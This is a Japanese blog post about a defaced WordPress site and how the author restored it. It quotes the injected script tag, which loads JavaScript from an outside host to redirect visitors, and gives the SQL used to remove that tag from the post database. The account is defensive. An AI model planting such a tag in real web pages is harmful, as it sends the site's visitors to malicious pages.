岐阜県なんちゃってブロガーyossyの書き綴るブログ。[公開記事545件/2017年3月36万PV]

カテゴリー

固定ページ

WordPressブログ・サイトが改ざん被害にあった場合の復旧方法(in エックスサーバー)

yossy'sイチオシ記事セレクション

昨日は久々に冷や汗かきました・・。まさか自分のこのブログ(yossy-style)が改ざん被害に合うとは・・( ゚Д゚)
あ、今はもう復旧したので大丈夫ですよ。昨日の朝・昼に当ブログをアクセス頂いた方、本当に申し訳ありませんでした<(_ _)>
そんなわけで、今回は自分の実体験をそのままに、WordPressで運用しているブログ・サイトが改ざん被害にあった場合の復旧方法・手順について書いてみたいと思います。ちなみに自分が使っているレンタルサーバはエックスサーバーです。
あと、最後にサイト改ざん・乗っ取り・ハッキングの被害に合わないための基本対策も紹介できればと。
自分と同じようにWordPressでの運営サイト・ブログが被害にあってしまった場合の対処方法の参考になれば幸いです。

WordPressを改ざんされた場合の症状

事件が発生したのはず昨日(2017/1/30)の午前中。
いつものようにPCのブラウザでこのブログにアクセスすると、ブログのトップページを表示したと思ったら次の瞬間にリダイレクト(URL転送)がかかり、外部のおかしなサイトに切り替わりました。こんなような感じで↓

むむむっ・・・( ゚Д゚)
「これってもしかして・・・俺たちは夢の中で・・・入れ替わってる?!」
もとい。
「これってもしかして・・・このブログデータが・・・改ざんされてる?!」

そう、このWordPressで運用しているこのブログがデータを改ざんされている事に気付いたわけです。
別のデバイス(スマホ&タブレット)でアクセスしても、やはりリダイレクトで怪しいサイトが表示されるのを確認して確信しました。

「これはやっべぇーぞ(コロチキ風)!!」

【追記2017/2/8】
どうやら今回のコンテンツ改ざんはWordPressのバージョン「4.7」「4.7.1」のセキュリティ上の問題(脆弱性)を付かれたのが原因だったようです(※REST APIという他サービス等と連携するための開発者向け機能にセキュリティー上の問題があったみたいです)。
ですので、もしWordPressの最新バージョン「4.7.2」にアップデートしていない人は早急にアップデートしておきましょう。

改ざんされてしまったWordPressブログ・サイトを復旧した方法・手順

ブログを公開停止モードに

ここから自分のWordPressブログの復旧作業を開始する事になりました。
とりあえずWordPressの管理画面にはログインして作業できるのを確認。
それならばと、WordPressプラグインの「WP Maintenance Mode」をインストールして有効化して、ブログに一般ユーザがアクセスしてもメンテナンス中モードの表示にしました。
サイト改ざんされた状態のまま公開していると、訪問ユーザが上記の症状で怪しいサイトを開いて困惑してしまうためです。

エックスサーバに不正アクセスの調査依頼

で、次にこのブログを使っているレンタルサーバ会社のエックスサーバーに不正アクセスの調査依頼をすることに。
「なんかWordPressのこのブログがかくかくしかじかで挙動がおかしいので調査してほしいです」とメールフォームより依頼して調査をしてもらうことに。

FTPデータ&データベースのバックアップ

まずはとりあえずデータのバックアップをしておこうかなと。
FileZillaでFTP接続して、WordPress公開ディレクトリー内のwp-contentディレクトリを丸ごとローカルにダウンロード。
ファイル数が2万個以上あったので、ダウンロードに2時間以上かかったけど、とりあえず必要なFTPデータのバックアップ完了。
続いて、エックスサーバーのサーバパネルよりphpMyAdminを開いて、ブログの該当データベースをエクスポート書き出しして、データベースのバックアップも完了。
とりあえず、これでバックアップは完了~。バックアップは完了といっても、改ざんされた状態のデータですけど(苦笑)

ちなみに、エックスサーバは手動でWEBとデータベースのバックアップできるので、まめな人はそれを定期的にやるのが宜しいかと。自分は気が向いた時にやっている感じで、今回の復旧に使うにはデータが古くて最新の記事が復元できないので却下で。
また自動でもエックスサーバーが直近7日分のWEB&データベースを自動バックアップしてくれてるんですが、そっちのデータはダウンロードするのに1万円必要とのこと。戻したい日付が決まっていて、お金払ってでもという人は自動バックアップデータを使うのもありですね。いずれにせよ復旧作業自体は自分でやらないといけないわけですが。
今回のケースでも、自動バックアップの1日・2日前の正常動作時のデータを使って復旧する事も多分やれたと思うんですけど、1万円をケチって下記の手順で復旧しました(苦笑)

自分の調査結果/データベースの記事タイトル&本文を書き換えられていた

最初はエックスサーバーからの返事がきてから対処を考えようと思っていたんですけど、その前に自分でも調査してみることにしました。
とりあえずサーバ内のWordPressが設置されているディレクトリーをチェックしても、何か変なファイル・ディレクトリーが増えているわけでもなさそう。
サイトがリダイレクト(URL転送)されるということは、何らかのJavaScriptのファイルを埋め込まれているのかなと推測して、管理画面より記事を開いてテキストモードで表示してみると、自分が記述した覚えのない<script>のjsファイルの記述をいくつか発見。ムムム。

<script type=’text/javascript’ src=’http://js.trafficanalytics.online/js/js.js’></script>

上記のように本文内にいくつか埋め込まれていて、他の記事でも同様。
また本文内だけでなく、記事タイトルにも埋め込まれている記事もいくつかあったり。
この<script>タグがページを表示したり、リンクをクリックするタイミングで動作してリダイレクトの症状を引き起こしているんだろうなと。
で、ここは推測だけど、このWordPressブログのセキュリティホールを突かれて、データベースを書き換えられてしまったというわけです。どこぞやの頭のいい悪い人に。きぃ~( ゚Д゚)

phpMyAdmin上で<script>タグの検索一括置換の実行

原因は分かったので、後は対処に入ります。
どの記事のソースを見ても、この<script>タグが元の記事ソースにところどころに「追記」されているようだったので、これを検索一括置換で取り除くことにしました。タイトルと本文の検索一括置換をするために、phpMyAdminでデータベース画面を開きます。
該当データベースを選択して、wp_postsテーブルを選びます。
で、SQLタブよりデータベースを更新するためのSQLを実行します。

今回実行するSQLはデータ更新なのでUPDATE文。
記事タイトルと記事本文に含まれている<script>タグを全て検索置換するためのUPDATE文を書きます。

検索置換のデータ更新は下記のような記述ですな。

UPDATE テーブル名 SET コラム名 = REPLACE(コラム, ‘変換前の文字列’, ‘変換後の文字列’);

で、実際に実行したSQLは下記の2つ。
注意点としは検索文字列のシングルコーテーション(‘)の前にはエスケープ処理(\)が必要です。

//①wp_postsテーブルの全レコードを対象にフィールド「post_content(記事本文)」の値に含まれる<script>を空白文字列に全て置換する
UPDATE wp_posts SET post_content = REPLACE(post_content, ‘<script type=\’text/javascript\’ src=\’http://js.trafficanalytics.online/js/js.js\’></script>’, ”);
//②同様にフィールド「post_title(記事タイトル)」の値に含まれる<script>を空白文字列に全て置換する
UPDATE wp_posts SET post_title = REPLACE(post_title, ‘<script type=\’text/javascript\’ src=\’http://js.trafficanalytics.online/js/js.js\’></script>’, ”);

①②を実行完了。
①は996件、②は15件のレコードが更新されました。
これで、記事中に含まれる悪質な<scipt>タグの全除去が完了なはず。

試しに、検索タブよりpost_titleとpost_contentの欄にそれぞれ演算子を「LIKE %…%」にし、値に先ほどの<script>タグをコピペして検索実行します。
<script>タグが含まれているタイトル、<script>タグが含まれている本文があるかどうかを検索するという意味合いです。
で、下記のように該当レコードが0件なので、<script>タグはやはり全て除去できている模様。

確認のためにWordPress管理画面にログインした状態でブラウザで全てのブログ記事をチェックしてみたところ、冒頭で述べたリダイレクトの症状は無くなり正常に動作している様子。WordPress管理画面上の記事ソースでも<script>タグの除去は確認済み。
どうやら、これで正常に復旧できたようですな。

メンテナンス中のページ表示を解除するために、WP Maintenance Modeのプラグインを無効化にしてブログ再開でございます。
とりあえずこれでどうにかこうにかです。お疲れ>自分。

でも何か気持ち悪いので、最後に下記の作業を実施しました。またこんな事があっても非常に困るのでね。

  • エックスサーバーのFTPパスワード/データベースのパスワード/WordPressログインユーザのパスワードを全て変更。
  • PCのセキュリティソフト(ESET)でPCのウィルス全検査も一応念のために実行(結果:ウィルス0件)。
  • WordPress本体とプラグインを最新版にアップデート。
  • 何故か無効にしていたWordPressのセキュリティ用プラグイン(SiteGuard WP Plugin)を有効化。

上記の復旧作業終了後から24時間以上経過しましたが、正常にブログは動作してます。本当に良かった・・。
とりあえず一件落着ですけど、なんか精神的にめっちゃ疲れた1件なのでした((+_+))

WordPressのセキュリティ対策(改ざん・ハッキング・乗っ取り対策)

ちなみにブログ復旧後にエックスサーバーからは下記のような調査結果の連絡を頂きました(本文一部抜粋)。

弊社にて調査を行いました結果、サーバー上に不審なファイルの設置や、不審なアクセスは見受けられませんでした。
また、発生していた事象も解決されたとのことでございますので、恐れ入りますが、しばらく様子を見ていただけますでしょうか。
お客様の仰るように、今後もWordPress本体とプラグインのバージョンアップは、欠かさず行っていただければ幸いです。
長期間メンテナンスされてないプラグインがあれば、削除をご検討くださいますようお願いいたします。

そっか~、サーバー上に不審なアクセスは見られなかったか~。。
でも、上記で除去した<script>タグは明らかに第三者によるブログ改ざんで間違いないので、今回のブログ改ざんの明確な原因は分からずって感じですね。
個人的にはちょっとモヤモヤするけどしょうがないっす。

でも自分的に最大の落ち度だったのは、WordPressのセキュリティ用プラグイン(SiteGuard WP Plugin)を無効の状態にしていた事。
いつもは有効にしているつもりだったんだけど、何故かこれを無効にしちゃってました。
サーバーのデータベースをエクスポートしてローカルPCで復元する際に、このSiteGuard WP Pluginが有効になっているとローカルPCでWordPress管理画面にログインが出来ないため、エクスポート前に一時的に無効にするんですけど、それを有効に戻すのを忘れていたという本当にうっかり凡ミスをやってました(汗)

あとはWordPress本体とプラグインも割とこまめにアップデートはしてるほうだけど、改ざんされた時点では最近の状態では無かったので、その辺りも含めてセキュリティーホールがあって、そこを悪意ある第三者のされる1つの要因になったのかなと推測してます。

WordPressのセキュリティ対策が抜けていると危険だというのを、今回身をもって体験し痛い目にあって、いい勉強になりました(苦笑)
今後のブログ運営に活かしていこうと思ってます。はい。
最後にこれからWordPressサイトのセキュリティ基本対策として個人的に特に気を付けていこうと思うのは以下の点でございます。

  • WordPress本体とプラグインは常に最新状態にアップデートする
  • WordPressのセキュリティ用プラグインを有効化
  • 不要なプラグインは削除

事件現場からは以上です~(^^)/

メッセージ・感想フォーム

このブログの記事に関してメッセージや感想などあれば、下記フォームよりご連絡下さい(^_^.)

お名前
メールアドレス
メッセージ本文
岐阜県美濃加茂市のyossy(よっしー)
ブログの書き手:yossy(よっしー)
岐阜県美濃加茂市在住。1979年2月生まれ。♂。
趣味はギター・読書・グルメ散策など。
2015年2月から自分への備忘録・雑記としてブログを始めました。
身の回りの出来事・思った事・少しは他の誰かに役立つかもしれない情報などをフリーテーマで書き綴っています。
クレオフーガで気まぐれに自作した音楽をアップしてたりします。

ヨッシーのつぶやき

マイクロソフトのSurfaceを買ってノートPCのかわりに使おうかなと思う今日この頃。

人気の記事

月別アーカイブ

ページトップへ